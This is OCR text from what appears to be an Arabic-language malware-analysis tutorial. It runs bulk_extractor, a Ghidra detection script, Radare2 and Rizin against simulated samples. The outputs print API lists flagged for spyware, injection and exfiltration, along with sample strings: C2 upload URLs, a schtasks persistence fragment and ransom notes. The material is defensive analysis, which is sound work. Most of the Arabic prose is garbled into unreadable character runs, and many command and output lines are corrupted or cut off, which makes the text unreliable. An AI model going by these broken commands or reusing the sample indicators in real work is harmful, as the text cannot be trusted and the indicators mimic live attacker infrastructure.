bulk_extractor Thu Nov 27 13:42:31 2025

available_memory: 7200407552

bytes_queued: 20971520

depthO_bytes_queued: 20971520
depthO_sbufs_queued: 1

elapsed_time: 0:00:05
estimated_date_completion: 2025-11-27 13:42:32
estimated_time_remaining: 0:00:01
fraction_read: 72.800000 %

max_offset: 1526726656

sbufs_created: 655452
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sbufs_queued: 1

sbufs_remaining: 2

tasks_queued: O

thread-2: 1526726656 process_sbuf (20971520)

thread count: 2

A1l data read; waiting for threads to finish...

Phase 2. Shutting down scanners

Computing final histograms and shutting down...

Phase 3. Generating stats and printing final usage information
A1l Threads Finished!

Elapsed time: 6.077 sec.

Total MB processed: 2097

Overall performance: 345.1 MBytes/sec 172.5 (MBytes/sec/thread)
sbufs created: 655484

sbufs unaccounted: 0

Time producer spent waiting for scanners to process data:

Time consumer scanners spent waiting for data from producer:

Average time each consumer spent waiting for data from producer:

0:00:03 (3.14 seco
0:00:00 (0.00 seco
0:00:00 (0.00 secon

**x*x More time spent waiting for workers. You need a faster CPU or more cores for impr

Total email features found: 3

yaser@CyberBookio:~$ cd bulk_terry

yaser@CyberBookio: ~/bulk_terry$ 1ls -1lh

total 31M

-rw-rw-r-- 1 yaser yaser 0 Nov 27 13:42 aes_keys.txt
-rw-rw-r-- 1 yaser yaser 0 Nov 27 13:42 alerts.txt

-rw-rw-r-- 1 yaser yaser 0 Nov 27 13:42 ccn_histogram.txt

-rw-rw-r-—- 1 yaser yaser 0 Nov 27 13:42 ccn_track2_histogram.txt
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42
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42
42
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42
42
42
42
42
42
42
42
42

142

ccn_track2.txt

cen. txt
domain_histogram.txt
domain.txt

elf.txt

email_domain_histogram.txt

email_histogram.txt
email.txt
ether_histogram_1.txt
ether_histogram.txt
ether.txt
evtx_carved.txt
exif.txt
facebook.txt
find_histogram.txt
find.txt

gps.txt
httplogs.txt
ip_histogram.txt
ip.txt

jpeg.txt

json.txt

kml carved.txt
ntfsindx_carved.txt
ntfslogfile_carved.txt
ntfsmft carved.txt
ntfsusn_carved.txt
pii_teamviewer.txt
pii.txt

rar.txt

report.xml

rfc822.txt
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-rw-rw-r-—- 1 yaser yaser Nov 27 13:42 sin.txt

-rw-rw-r-- 1 yaser yaser Nov 27 13:42 sqlite_carved.txt

-rw-rw-r-- 1 yaser yaser Nov 27 13:42 tcp_histogram.txt

SO O O O

-rw-rw-r-- 1 yaser yaser Nov 27 13:42 tcp.txt

-rw-rw-r-- 1 yaser yaser 218 Nov 27 13:42 telephone_histogram.txt
-rw-rw-r-- 1 yaser yaser 720 Nov 27 13:42 telephone.txt
-rw-rw-r-- 1 yaser yaser 0 Nov 27 13:42 unrar_carved.txt
-rw-rw-r-—- 1 yaser yaser 0 Nov 27 13:42 url_facebook-address.txt
-rw-rw-r-- 1 yaser yaser 0 Nov 27 13:42 url_facebook-id.txt
-rw-rw-r-- 1 yaser yaser 3.0M Nov 27 13:42 url_histogram.txt
-rw-rw-r-—- 1 yaser yaser 0 Nov 27 13:42 url_microsoft-live.txt
-rw-rw-r-- 1 yaser yaser 0 Nov 27 13:42 url_searches.txt
-rw-rw-r-- 1 yaser yaser 76K Nov 27 13:42 url_services.txt
-rw-rw-r-- 1 yaser yaser 18M Nov 27 13:42 url.txt

-rw-rw-r-—- 1 yaser yaser 0 Nov 27 13:42 utmp_carved.txt
-rw-rw-r-- 1 yaser yaser 0 Nov 27 13:42 vcard.txt

-rw-rw-r-- 1 yaser yaser 1.5M Nov 27 13:42 windirs.txt

-rw-rw-r-- 1 yaser yaser 0 Nov 27 13:42 winlnk.txt

drwxrwxr-x 3 yaser yaser 4.0K Nov 27 13:42 winpe_carved

-rw-rw-r-- 1 yaser yaser 6.5K Nov 27 13:42 winpe_carved.txt
-rw-rw-r-- 1 yaser yaser 75K Nov 27 13:42 winpe.txt

-rw-rw-r-—- 1 yaser yaser 0 Nov 27 13:42 winprefetch.txt
drwxrwxr-x 3 yaser yaser 4.0K Nov 27 13:42 zip

-rw-rw-r-- 1 yaser yaser 39K Nov 27 13:42 zip.txt

yaser@CyberBookio: ~/bulk_terry$ cat email.txt
# BANNER FILE NOT PROVIDED (-b option)

# BULK_EXTRACTOR-Version: 2.1.1

# Feature-Recorder: email

# Filename: terry-work-usb-2009-12-11.EO1

# Feature-File-Version: 1.1

4518329 bug-gnu-gettext@gnu.org u\000g\000s\000 \000t\0000\000 \000<\000b\000u\000g\0
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4555193
12816474

yaser@Cy
# BANNER
# BULK_E

# Featur

bug-gnu-gettext@gnu.org u\000g\000s\000 \000t\0000\000 \000<\000b\000u\000g\0
info@xceedsoft.com 6\0002\0006\000 \000 \000 \000 \000 \000i\000

berBookio:~/bulk_terry$ head -n 20 url.txt
FILE NOT PROVIDED (-b option)
XTRACTOR-Version: 2.1.1

e-Recorder: url

# Filename: terry-work-usb-2009-12-11.E01

# Featur
4174429
4227766
4227834
4289206
4289268
4600502
4600570
4620982
4621047
4633315
4641280
4641300
4641320
4641359
4641401

e-File-Version: 1.1

http://www.apple.com/DTDs/PropertyList-1.0.dtd PLIST 1.0//EN" "http://www.ap
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o sl Y AU 5 K1 ARl [DA Pro s i el il dadizs <l e ellay e e Ty i 1 jSa Jlaall 138 o<
eall aadl ds giae s Ulae 5 5ladl 510Y) s2a g dualll 2ol 8 yuad &y 8 NSA 4S5 5aY)
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8l a5 ¢ laa s ede U Decompiler s des il elal) 5 5 353 Wil & Ghidra 2 55,l) 5
Ll eyl agd Jgss Las «C A1) Ay £ 5 jie e 2 35S Ao sgiall y 5 eyl 5 Baaall AIY) 431 J g )
(Undo/Redo) g Al 5 jae s cddlisall cilallaadl by jlanal Jiled) Leaeny aaii cclld ) AdLaYL | S S0
Olainly aleall 1Y Python s Java el el Sl s il leaca s e aY) @l a1 d pallaall Tl cails Al)
aabys s JS0 Aalia 3 el duaigl) calea s SIS @S Al 31Y) o

4Aaddl) Aualdl)

eﬁA QJM\EJLQ_A“&M

Linux, Windows, macOS i) dalasl
ggh»n Aal)
Apache-0.2 wasd il g 5

Ghidra 33 & 3

:Ghidra plaaiul Ll ja8 Caieai g 45 daaa jl Jald A st 2 tes JBa

/usr/share/ghidra/support/analyzeHeadless ~/ghidra_projects MalwareProj
-import malware.exe -scriptPath . -postScript CyberBookFinder.py

-overwrite -noanalysis

4w Jahy (CyberBookFinder.py) uawsise Python <y S laadiul ¢ anall Jdaill 138 8 1 JGal) 7 4
Sl 35 &5 (83 skl LSl (and g ccilall o) il ddae g olial JulS) Jadl  Ghidra Headless
(Spyware) sl Jadi canleall ALalS o 538 4y & oy wilill Jgand) Ay L) eyl Cailla y G (53
(Network). <&l Juai¥) 5 (Evasion)e dalaill (e el (Injection)e sl

AEGEN

yaser@CyberBookio:~$ /usr/share/ghidra/support/analyzeHeadless ~/ghidra_projects Malw

-import malware.exe -scriptPath . -postScript CyberBookFinder.py -overwrite -noanalys

openjdk version "21.0.9" 2025-10-21
OpenJDK Runtime Environment (build 21.0.9+10-Debian-1)
OpenJDK 64-Bit Server VM (build 21.0.9+10-Debian-1, mixed mode)
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INFO
INFO
INFO
INFO
INFO
INFO
INFO
INFO
INFO
INFO
INFO
INFO

Using log config file: jar:file:/usr/share/ghidra/Ghidra/Framework/Generic/lib/
Using log file: /home/yaser/.config/ghidra/ghidra_11.4.2_DEV/application.log (L

Loading user preferences: /home/yaser/.config/ghidra/ghidra_11.4.2_DEV/preferen

Searching for classes... (ClassSearcher)

Class search complete (551 ms) (ClassSearcher)

Initializing SSL Context (SSLContextInitializer)

Initializing Random Number Generator... (SecureRandomFactory)

Random Number Generator initialization complete: NativePRNGNonBlocking (SecureR

Trust manager disabled, cacerts have not been set (ApplicationTrustManagerFacto

Headless startup complete (1110 ms) (AnalyzeHeadless)

Class searcher loaded 58 extension points (18 false positives) (ClassSearcher)

HEADLESS Script Paths:
/usr/share/ghidra/Ghidra/Features/DecompilerDependent/ghidra_scripts
/usr/share/ghidra/Ghidra/Features/GnuDemangler/ghidra_scripts
/usr/share/ghidra/Ghidra/Features/BytePatterns/ghidra_scripts
/usr/share/ghidra/Ghidra/Features/FileFormats/ghidra_scripts
/usr/share/ghidra/Ghidra/Features/WildcardAssembler/ghidra_scripts
/usr/share/ghidra/Ghidra/Processors/Atmel/ghidra_scripts
/usr/share/ghidra/Ghidra/Features/SwiftDemangler/ghidra_scripts
/usr/share/ghidra/Ghidra/Processors/DATA/ghidra_scripts
/usr/share/ghidra/Ghidra/Features/PyGhidra/ghidra_scripts
/usr/share/ghidra/Ghidra/Features/MicrosoftCodeAnalyzer/ghidra_scripts
/usr/share/ghidra/Ghidra/Features/Jython/ghidra_scripts
/usr/share/ghidra/Ghidra/Debug/Debugger-rmi-trace/ghidra_scripts
/usr/share/ghidra/Ghidra/Debug/Debugger/ghidra_scripts
/usr/share/ghidra/Ghidra/Processors/PIC/ghidra_scripts
/usr/share/ghidra/Ghidra/Processors/8051/ghidra_scripts
/usr/share/ghidra/Ghidra/Features/Base/ghidra_scripts
/usr/share/ghidra/Ghidra/Features/PDB/ghidra_scripts
/usr/share/ghidra/Ghidra/Processors/JVM/ghidra_scripts
/home/yaser/.

/usr/share/ghidra/Ghidra/Features/SystemEmulation/ghidra_scripts
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/usr/share/ghidra/Ghidra/Features/BSim/ghidra_scripts
/usr/share/ghidra/Ghidra/Features/Decompiler/ghidra_scripts
/usr/share/ghidra/Ghidra/Features/FunctionID/ghidra_scripts
/usr/share/ghidra/Ghidra/Features/VersionTracking/ghidra_scripts (HeadlessAnalyze

INFO HEADLESS: execution starts (HeadlessAnalyzer)

INFO Opening existing project: /home/yaser/ghidra_projects/MalwareProj (HeadlessAnal

INFO Opening project: /home/yaser/ghidra_projects/MalwareProj (HeadlessProject)

INFO REPORT: Processing input files: (HeadlessAnalyzer)

INFO project: /home/yaser/ghidra_projects/MalwareProj (HeadlessAnalyzer)

INFO IMPORTING: file:///home/yaser/malware.exe (HeadlessAnalyzer)

INFO Using Loader: Portable Executable (PE) (AutoImporter)

INFO Using Language/Compiler: x86:LE:64:default:windows (AutoImporter)

INFO Using Library Search Path: [., /bin, /lib, /1ib64, /1ib/x86_64-linux-gnu, /lib/

INFO TLS callbacks at 1400049e0 (TLSDirectory)

INFO Removing 5 unused filesystems from cache (FileSystemInstanceManager)

INFO Additional info:

Loading file:///home/yaser/malware.exe?MD5=36ecdcc5d377dbfb9688c7caddfde682. . .

Searching 8 paths for library ADVAPI32.DLL...

Library not found.

Searching 8 paths for library GDI32.DLL...

Library not found.

Searching 8 paths for library KERNEL32.DLL...

Library not found.

Searching 8 paths for library MSVCRT.DLL...
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Library not

Searching 8

Library not

Searching 8

Library not

Searching 8

Library not

Searching 8

Library not

Searching 8

Library not

Linking the
[ADVAPI32.

External Programs

DLL] -> not found

[GDI32.DLL] -> not found in

[KERNEL32.

DLL] -> not found

SHELL32.DLL. ..

URLMON.DLL. ..

USER32.DLL. ..

WININET.DLL...

of 'malware.exe' to imported libraries...

in project
project

in project

[MSVCRT.DLL] -> not found in project

[SHELL32.DLL] -> not found in project

[URLMON.DLL] -> not found in project

[USER32.DLL] -> not found in project

[WININET.DLL] -> not found in project

CyberBook.io
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[WS2_32.DLL] -> not found in project

(AutoImporter)

INFO IMPORTING: Loaded O additional files (HeadlessAnalyzer)

INFO /malware.exe: file deleted (yaser) (LocalFileSystem)

INFO Deleted local file malware.exe (GhidraFileData)

WARN REPORT: Removed conflicting program file from project: /malware.exe (HeadlessAn

INFO SCRIPT: /home/yaser/CyberBookFinder.py (HeadlessAnalyzer)

[+] STARTING PYTHON SCAN: Looking for 32 high-risk signatures...

API NAME

| CATEGORY | ADDRESS

RegCreateKeyExA
RegDeleteValueA
RegOpenKeyExA
RegSetValueExA

BitBlt
CheckRemoteDebuggerPresent
CreateProcessA
CreateRemoteThread
CreateToolhelp32Snapshot
DeleteFileA

GetTickCount
IsDebuggerPresent
MoveFileA

OpenProcess
Process32First
Process32Next
QueueUserAPC

ReadProcessMemory

CyberBook.io

| [PERSISTENCE] Create Registry Key
| [PERSISTENCE] Delete Registry Key
| [PERSISTENCE] Open Registry Key

EXTERNAL:
EXTERNAL:
EXTERNAL:

| [PERSISTENCE] Write to Registry (Startup) | EXTERNAL

| [SPYWARE] Screen Capture
| [EVASION] Detect Debugger
| [EXECUTION] Spawn new process

| [INJECTION] Execute code in remote process

| [ENUMERATION] List running processes

| [FILE] Delete file

| [EVASION] Time measure (Sandbox check)
| [EVASION] Detect Debugger

| [FILE] Move/Rename file

| [INJECTION] Open handle to process

| [ENUMERATION] Iterate processes

| [ENUMERATION] Iterate processes

| [INJECTION] Early Bird / APC Injection

| [INJECTION] Spy on other process memory

YEA thanll uly

EXTERNAL:
EXTERNAL:
EXTERNAL:
| EXTERNA
EXTERNAL:
EXTERNAL:
EXTERNAL:
EXTERNAL:
EXTERNAL :
EXTERNAL:
EXTERNAL:
EXTERNAL :
EXTERNAL:
EXTERNAL:



Sleep | [EVASION] Stall execution | EXTERNAL:

VirtualAllocEx | [INJECTION] Allocate memory in remote process | EXTE
WinExec | [EXECUTION] Run external program | EXTERNAL:
WriteProcessMemory | [INJECTION] Write code to remote process | EXTERNAL:
ShellExecuteA | [EXECUTION] Run external program | EXTERNAL:
URLDownloadToFileA | [NETWORK] Download file to disk (Dropper) | EXTERNAL
GetAsyncKeyState | [SPYWARE] Capture Keystrokes | EXTERNAL:
GetForegroundWindow | [SPYWARE] Get name of active window | EXTERNAL:
GetWindowTextA | [SPYWARE] Read window title bar | EXTERNAL:
SetWindowsHookExA | [SPYWARE] Hook Keyboard/Mouse input | EXTERNAL:
HttpSendRequestA | [NETWORK] Send data via HTTP | EXTERNAL:
InternetOpenA | [NETWORK] Open Internet Handle | EXTERNAL:
InternetOpenUrlA | [NETWORK] Open Internet Handle | EXTERNAL:
connect | [NETWORK] Connect to external IP | EXTERNAL:
socket | [NETWORK] Create communication socket | EXTERNAL:

[!!!] CONCLUSION: HIGH RISK DETECTED
[!!!] Found 33 suspicious capabilities.
INFO REPORT: Save succeeded for: /malware.exe (MalwareProj:/malware.exe) (HeadlessAn

INFO REPORT: Import succeeded (HeadlessAnalyzer)

https://ghidra-sre.org :Jead

IDAPro Y.):

30 oo ST die Al duxigll (e e g il dllall s g Sl Sl a3l sl e S 31Y) 8 IDA Pro
JsY) Ll O35 Y Hex-Rays 4S54 ¢« IDA of Y) «Ghidra die cuslass el il Ganilia ) seds ot 55 i
AAL) Loy L ) il s el Jm fsn Sl gl (5 Sl S 0 5 (s simal
AV A o ged L ;\‘)M A=) @A e paldll Decompiler S elKad) P 1Y) s2a SR 3l
iy lelu ) Giaal) Jaall e gl jeaitg Laa o5 e dads caidai C 35S ) daseiall e a0l 5 328nal
Clallaall e i 2381 Lgae ) ALYl Qb iail i ) IDAPYthon <t Sl leae s e Alila &5 e
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sicf Jidad a5 ¢aaly oY aie e Y Al laiiul) Sl cadi jo jra s de ghae B Ll s e 5150 slady
Lasll U5 Y 48y Zero-day < a3 Gliss) ol L) Clsa il

4ol Lualal)
pdile | sllaall 3 )lgall (5 giuse
Windows, Linux, macOS Jil) dalasl
& s sl
S o il g 5

IDA Pro 3lai Sl S YPVN

https://hex-rays.com/ida-pro/ :Jeal

x64dbg Y.\

Juadll da gl 3181 228 x64dbg 2 5 <OllyDbg dasill 55 shauS Eyaall s o il gl o 3l slaY)
Al g e s g pllail Cuaa 5 a5 (5 58 (Debugger) slaal manas Gilie 4 5 S Ui Jadl el
Bel il g 4y yoac dgal s dlle 3eUSH 32 5 < 64 il jlera ac il jiall (ge Craala il

iy aainall ey (558 i) alai o (g siad e taa dillall Letis e A XB4dDQ (8 350k 3l
GLES) (e Apal) Clsa ) wia 3 (Anti-Anti-Debug) zmasadl sla) <l sl Jie ol paiuly s3clus &l 50
ks agd s (Packers) 2aey) i el Zpall eyl sl Wl Juatal) #2301 a5 Leliday o685 ol
G G Y o laialy (Registers) kel s 5 SIAl & JalSl aSaill A (e 3 shady 5 shad il 5yl
sty Ao AauSall Luvigly wiga padd (ol lea e A oS3 0

Al daldl)
pitie | o sllaall 3 jlgall (5 sl
Windows Jsail) dadas
Slae AalKil)
GPL-0.3 e il g 5
CyberBook.io Yo. phsanll uly


https://hex-rays.com/ida-pro/

x64dbg 31l Sl S YPVN

https://x64dbg.com :Jsead

Radare2 ¢.)\.

313 3 yme Cuad oda | el 31 sl 8 a4 finall g e gull (il €0 a5 Radare2 4 shad) 313
i S US4 Jend il Radare2 8 5,0 s 5uall Al al o) il ydie (e el JulS dae ja)
AL A gy Agaly o 2diad Y @Y ASH cleldl a5 Gl sell I Aalall i 5asl) 5 5ea
Los AU i) e Jpowl y S50 5 Jilail (3 AlLa e s claieg (31 Jal gY1 o 8 S5 Lt 8
LS 5 Python e L)) r2pipe 4Sae alaiiul ¢liSey Cun 20l Lin gd doma il G goail) o adiad Ll
o Tany Aalhadl) 45 a5 Ao ) o Giny el IV LAY Lelaay L sa s Lalali coldlall YT Jalal iy S

ga gl Clgal gl Claiad

dadl) Asaldl)

?'ﬁj‘“ Q._I}M‘EJLG_AMLS\}:\MA

Linux, Windows, macOS, Android, iOS il Aokl
LGPL-0.3 s sl g

Radare2 52 &l jiea

‘Radare2 iy Su alasiiuly W Al il ) dilad s 58 1 des Jlia
r2 —q -1 report.r2 malware2.exe

Z) oAk 5 Calall ey o Sl QB sl D) L3 Radare2 558 Jelall a1 jelsd 1Jbal) gk

seleal) Baa2%a 5 B3Exa Aana yall 02a oi@ﬁh;ﬁ#&\)&}a

D81 elid) 5 Glaa¥) Elaw zud ClearEventLogA 4ls pladin) (Anti-Forensics): JUY) g o

G AY)
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(oA A A8 g el il Jus LY HitpSendRequestA alaaiul (Exfiltration): <l 48 pu o

(PAY 1 BTC) 4.l Al ;5 (apt-group.com) _a_wadl Lail ) z1adul &1 (Artifacts): 4xbiadl A8 .
.(secrets.txt) Adagiuall clalall 4

EGERN]

yaser@CyberBookio:~$ r2 -q -i report.r2 malware2.exe

WARN: truncated dwarf block

WARN: Relocs has not been applied. Please use “-e bin.relocs.apply=true” or “-e bin.c
INFO: Analyze all flags starting with sym. and entry0 (aa)
INFO: Analyze imports (af@@@i)

INFO: Analyze entrypoint (af@ entry0)

INFO: Analyze symbols (af@@@s)

INFO: Analyze all functions arguments/locals (afva@QG@F)
INFO: Analyze function calls (aac)

INFO: Analyze len bytes of instructions for references (aar)
INFO: Finding and parsing C++ vtables (avrr)

INFO: Analyzing methods (af @@ method.*)

INFO: Recovering local variables (afva@QQF)

INFO: Type matching analysis for all functions (aaft)

INFO: Propagate noreturn information (aanr)

INFO: Integrate dwarf function information

INFO: Use -AA or aaaa to perform additional experimental analysis

RADARE2 AUTOMATED MALWARE TRIAGE REPORT v4.0

[+] FILE METADATA:

arch x86
bits 64
lang c
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[!]

(']

[!]
17
18
[!]
11
15
[!]
[!]

(']

']

[!]

DETECTED CAPABILITIES (Based on API Imports):

MUTEX (Single Instance Check):

0x140008328 NONE FUNC KERNEL32.d1ll CreateMutexA
EXFILTRATION (Stealing Data):

0x140008380 NONE FUNC KERNEL32.d1l1l ReadFile
0x1400084d8 NONE FUNC WININET.d1ll HttpSendRequestA
0x1400084e0 NONE FUNC WININET.dll InternetConnectA
PERSISTENCE (Registry/Tasks):

0x140008490 NONE FUNC SHELL32.d11 ShellExecuteA
CRYPTOGRAPHY (Ransomware) :

0x1400082e8 NONE FUNC ADVAPI32.d11 CryptAcquireContextA
0x1400082f0 NONE FUNC ADVAPI32.d1l1l CryptGenKey
INJECTION (Memory Manipulation):

0x140008330 NONE FUNC KERNEL32.dll CreateThread
0x1400083a0 NONE FUNC KERNEL32.d1l1l VirtualAlloc
0x1400083a8 NONE FUNC KERNEL32.d1l1l VirtualProtect
EVASION (Anti-Debugging) :

0x140008370 NONE FUNC KERNEL32.d1ll IsDebuggerPresent
0x140008390 NONE FUNC KERNEL32.d1l1l Sleep

DROPPER (File Download):

0x1400084a0 NONE FUNC urlmon.dll  URLDownloadToFileA
RECONNAISSANCE (System Fingerprinting):

0x1400082f8 NONE FUNC ADVAPI32.dl1l GetUserNameA
SPYWARE (Input Capture):

0x1400084b0 NONE FUNC USER32.dll1  GetForegroundWindow
0x1400084cO NONE FUNC USER32.d11  SetWindowsHookExA
LATERAL MOVEMENT (Network Shares):

0x1400083cO NONE FUNC MPR.d1ll WNetOpenEnumA
ANTI-FORENSICS (Log Wiping):

0x1400082e0 NONE FUNC ADVAPI32.d1l1 ClearEventLogA
0x140008308 NONE FUNC ADVAPI32.dll OpenEventLogA
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[+] FORENSIC ARTIFACTS (Strings):

[!] URLs / IPs Detected:

1 0x00002630 0x140004030 31
[!] Mutexes / Task Names:

2  0x00002650 0x140004050 23
3 0x00002668 0x140004068 72
[!] Suspicious Files:

5 0x000026c8 0x1400040c8 7
7 0x000026d5 0x140004045 24
[!] Threat Messages:

0  0x00002600 0x140004000 46
13 0x00002733 0x140004133 6

32

24

73

25

47
7

[+] BEHAVIORAL ANALYSIS (X-Refs):

.rdata

.rdata

.rdata

.rdata

.rdata

.rdata

.rdata

ascii

ascii

ascii

ascii

ascii

ascii

ascii

http://apt-group.com/upload.php

Global\APT Sim Mutex_ v1

schtasks /create /sc minute /mo 30

cmd . exe

C:\Users\CEQO\secrets.txt

YOUR DATA IS STOLEN. PAY 1 BTC TO w
HACKED

END OF REPORT

https://rada.re/n/ :Jsad

Cutter ¢.)\:

.Cutter 5121 Toy Y1 AV lggas oo Euaall o 2 D el ¥l 8 Radare2 558 oo Whiaas Wil Ly
Jail Cutter cuela Ua 5 el guad) 2301 yal 5f Jaia 4 e 8 Radare2 ge i€l 4al 5 ) (s 580 Aad)
Lo e A aaall Jalal) 348 claiad AalSia daia i chaa gy Agals 2ome Gl (A L3 Aliaadl o2
Adaalll A el < g1 andy Tas g ya s Cuds (g pean Al (K1 Radare?2
JS el Jee Jluse (2 25 Graph View aaleli dly a s Gl 555 Ll s1aY1 o2 355 5L 5 )
s zmad ac i LS elanall o S 5ol B e LS gl galisall (haie agd s I sall i Jeany Las czoal 5 (5 s
Baiaa Julat iy S AUS e 30l dlaia Lae leudd dgal sl Jaly Jupyter Notebooks i~ Python
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https://rada.re/n/

Gl gia ¥ ) el lle e clliy 3 B uall A o laialy | JalSie il yida 8 il 1) 68 Lelandi g
Alaaly CallSS xda () 50 Anall il 3

Aaddl) Asaldl)

Jovsgia | <o sllnall 3 leall (5 gise

Linux, Windows, macOS Jil) dalasl
‘;:\AA 48l
GPL-0.3 o il g g

Cutter 34 &) SYPON

rbiadl 5l iy S s Rizin & aladiuly asiiall V) Jdail 1 Les JUia
rizin -A malware3.exe < foremnsic_report.rz

il lleny Sl (5 @ RizZiN < ae e LIS adind (GUI) Asasm) Aeals o) & o Cutter sl
3 ile RizZiN (ool @l yaall it Ll o ag ) liad) 5 al ol S Jasedi Jia) 4D Ji8 Qe apai] celll
A gl Al gl (3 g sall [l 4 lie 5T de s Ay se laall iey Le g8 5 el sV sl (e

G8a Jalat e a3 ALK s Al JalSie  Slia st ey S Bl Rizin & jas a1 JUal) 7
ralall

S-Box dslas asas Al sl 637¢777bf2 4wl sels :(Crypto Constants) sddll Galiis) «

Al Gl yd (558 pdi5e 98 5 AES 4e )l 53 alall

Jie i ) (API Imports) 82 siwal aUaill Jlga 58 cu KUl W6 i(Imports) <iilh gl civiat .
(Anti-Debugging) maill 4s8l<a 5 «VirtualAlloc #l2aiul (Process Injection) <ilbleall cfis

.IsDebuggerPresent alaaiul

YOUR FILES HAVE ) ¥ Al Jic las dslus (o gual z)oAk &5 :(Strings) el A8y .
.evil-simulation-c2.com <wall oSaill bl s BEEN ENCRYPTED

b di e Jageal 3aa Gl Al JIsal) o 318Y) @i (Cross-Reference) (gl Jalas e

.(sym.DropperAndinjection a3 Jie) zali sl J) s Jals Liled b sle i
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EGERN]

yaser@CyberBookio:~$ rizin -A malware3.exe < forensic_report.rz
[x] Analyze all flags starting with sym. and entry0 (aa)

[x] Analyze function calls

[x] Analyze len bytes of instructions for references

[x] Check for classes

[x] Analyze local variables and arguments

[x] Type matching analysis for all functions

[x] Applied O FLIRT signatures via sigdb

[x] Propagate noreturn information

[x] Integrate dwarf function information.

[x] Resolve pointers to data sections

[x] Use -AA or aaaa to perform additional experimental analysis.
-- Use +,-,*,/ to change the size of the block

[0x1400013f0]> echo [*] STARTING AUTOMATED STATIC ANALYSIS

[*] STARTING AUTOMATED STATIC ANALYSIS

[0x1400013f0]>

[0x1400013f0]> # 1. Analyze the binary

[0x1400013f0]> aaa

[x] Analyze all flags starting with sym. and entry0 (aa)

[x] Analyze function calls

[x] Analyze len bytes of instructions for references

[x] Check for classes

[x] Analyze local variables and arguments

[x] Type matching analysis for all functions

[x] Applied O FLIRT signatures via sigdb

[x] Propagate noreturn information

[x] Integrate dwarf function information.

[x] Resolve pointers to data sections

[x] Use -AA or aaaa to perform additional experimental analysis.
[0x1400013f0]>

[0x1400013f0]> echo [+] SEARCHING FOR CRYPTOGRAPHIC CONSTANTS (S-B0X)
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[+] SEARCHING FOR CRYPTOGRAPHIC CONSTANTS (S-BOX)
[0x1400013f0]> /x 637c777bf2
0x14000a000 5 hit.bytes.O
[0x1400013£0] >
[0x1400013f0]> echo [+] CATEGORIZING MALICIOUS IMPORTS
[+] CATEGORIZING MALICIOUS IMPORTS
[0x1400013f0]> echo --- Networking/C2 ---
--- Networking/C2 ---
[0x1400013f0]> ii ~Internet
3 0x14000£570 NONE FUNC WININET.dll InternetCloseHandle
4 0x14000£578 NONE FUNC WININET.d1ll InternetConnectW
5 0x14000£580 NONE FUNC WININET.d1ll InternetOpenW
[0x1400013f0]> ii ~Http
1 0x14000£560 NONE FUNC WININET.d1ll HttpOpenRequestW
2 0x14000£568 NONE FUNC WININET.d1ll HttpSendRequestW
[0x1400013£0]> ii ~URLDownload
1 0x14000£550 NONE FUNC urlmon.dll URLDownloadToFileW
[0x1400013£0] >
[0x1400013f0]> echo --- Process Injection ---
--- Process Injection ——-
[0x1400013f0]> ii ~VirtualAlloc
19 0x14000£3f8 NONE FUNC KERNEL32.d1l1l VirtualAlloc
[0x1400013f0]> ii ~CreateThread
3 0x14000£378 NONE FUNC KERNEL32.d1ll CreateThread
[0x1400013£0] >
[0x1400013f0]> echo --- Persistence/Registry ---
--- Persistence/Registry ---
[0x1400013f0]> ii ~RegSetValue
10 0x14000£358 NONE FUNC ADVAPI32.d1l1l RegSetValueExW
[0x1400013f0]> ii ~ShellExecute
1 0x14000£540 NONE FUNC SHELL32.d11 ShellExecuteW
[0x1400013£0] >
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[0x1400013f0]> echo --- Anti-Debugging/Forensics ---

--- Anti-Debugging/Forensics ---

[0x1400013£0]> ii ~Debugger

11 0x14000£3b8 NONE FUNC KERNEL32.d1ll IsDebuggerPresent

[0x1400013f0]> ii ~Toolhelp

4 0x14000£380 NONE FUNC KERNEL32.d1ll CreateToolhelp32Snapshot

[0x1400013f0]> ii ~ClearEventLog

1 0x14000£310 NONE FUNC ADVAPI32.dl1l ClearEventLogW

[0x1400013f0]>

[0x1400013f0]> echo --- Cryptography (Ransomware) ---

--- Cryptography (Ransomware) ---

[0x1400013f0]> ii ~Crypt

2 0x14000£318 NONE FUNC ADVAPI32.
3 0x14000£320 NONE FUNC ADVAPI32.
4 0x14000£328 NONE FUNC ADVAPI32.
5 0x14000£330 NONE FUNC ADVAPI32.
6 0x14000£338 NONE FUNC ADVAPI32.

[0x1400013f0]>

[0x1400013f0]> echo [+] EXTRACTING
[+] EXTRACTING SUSPICIOUS STRINGS

[0x1400013£f0]> iz ~http

1 0x00008500 0x14000a100

19 0x00008900 0x14000a500
184 0x0000afc4 0x14000f9c4
185 0x0000afd8 0x14000f9d8
[0x1400013f0]> iz ~Global\

2 0x00008552 0x14000a152
[0x1400013f0]> iz ~PAY

3 0x00008570 0x14000a170
[0x1400013f0]> iz ~wireshark

6 0x00008664 0x14000a264

7 0x00008680 0x14000a280
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40
17
16
16

14

SUSPICIOUS STRINGS

82
36
17
17

30

86

28
50

dll CryptEncrypt
dll CryptGenKey

.rdata
.rdata
.idata

.idata

.rdata

.rdata

.rdata

.rdata

YoA

dll CryptAcquireContextW

dll CryptDestroyKey

dll CryptReleaseContext

utfilble
utfilble
ascii

ascii

utfible

utfilble

utfilble

utfil6le

http://evil-simulation-c
http://google.com
HttpOpenRequestW
HttpSendRequestW
Global\APT_Sim

YOUR FILES HAVE BEEN ENC

wireshark.exe

[!] Wireshark Detected!\
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[0x1400013f0]> iz ~schtasks
13 0x000087d0 0x14000a3d0 12 26 .rdata utfl6le schtasks.exe
[0x1400013f0]>
[0x1400013f0]> echo [+] CROSS-REFERENCE ANALYSIS
[+] CROSS-REFERENCE ANALYSIS
[0x1400013f0]> # We use the specific MinGW symbol names here.
[0x1400013f0]> # This finds where the code CALLS these malicious functions.
[0x1400013£0]>
[0x1400013f0]> echo Checking where IsDebuggerPresent is called:
Checking where IsDebuggerPresent is called:
[0x1400013f0]> axt @ sym.imp.KERNEL32.d1ll IsDebuggerPresent
sym.AntiDebug 0x14000145f [DATA] mov rax, qword [sym.imp.KERNEL32.d11l_IsDebuggerPrese
(nofunc) 0x1400089a8 [CODE] jmp qword [sym.imp.KERNEL32.d11l IsDebuggerPresent]
[0x1400013£f0]>
[0x1400013f0]> echo Checking where VirtualAlloc is called:
Checking where VirtualAlloc is called:
[0x1400013f0]> axt @ sym.imp.KERNEL32.d11l_VirtualAlloc
sym.DropperAndInjection 0x14000176d [DATA] mov rax, qword [sym.imp.KERNEL32.d1l Virtu
(nofunc) 0x140008968 [CODE] jmp qword [sym.imp.KERNEL32.d11l_VirtualAlloc]
[0x1400013f0]>
[0x1400013f0]> echo Checking where InternetConnect is called:
Checking where InternetConnect is called:
